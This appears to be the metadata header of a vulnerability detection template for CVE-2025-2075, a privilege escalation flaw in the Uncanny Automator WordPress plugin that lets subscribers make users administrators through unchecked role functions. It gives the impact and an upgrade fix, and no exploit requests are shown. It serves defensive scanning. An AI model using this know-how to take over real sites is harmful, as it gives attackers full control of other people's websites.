Uncanny Automator <= 6.3.0.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation

id: CVE-2025-2075

info:
  name: Uncanny Automator <= 6.3.0.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The Uncanny Automator - Easy Automation, Integration, Webhooks & Workflow Builder Plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.0.2. This is due to add_role() and user_role() functions missing proper capability checks performed through the validate_rest_call() function. This makes it possible for unauthenticated attackers to set the role of arbitrary users to administrator granting full access to the site, though privilege escalation requires an active account on the site so this is considered an authenticated privilege escalation.
  impact: |
    Authenticated attackers with subscriber-level access can escalate their privileges to administrator through missing capability checks, gaining full control over the WordPress site.
  remediation: |
    Update to version 6.4.0 or later to remediate this vulnerability.
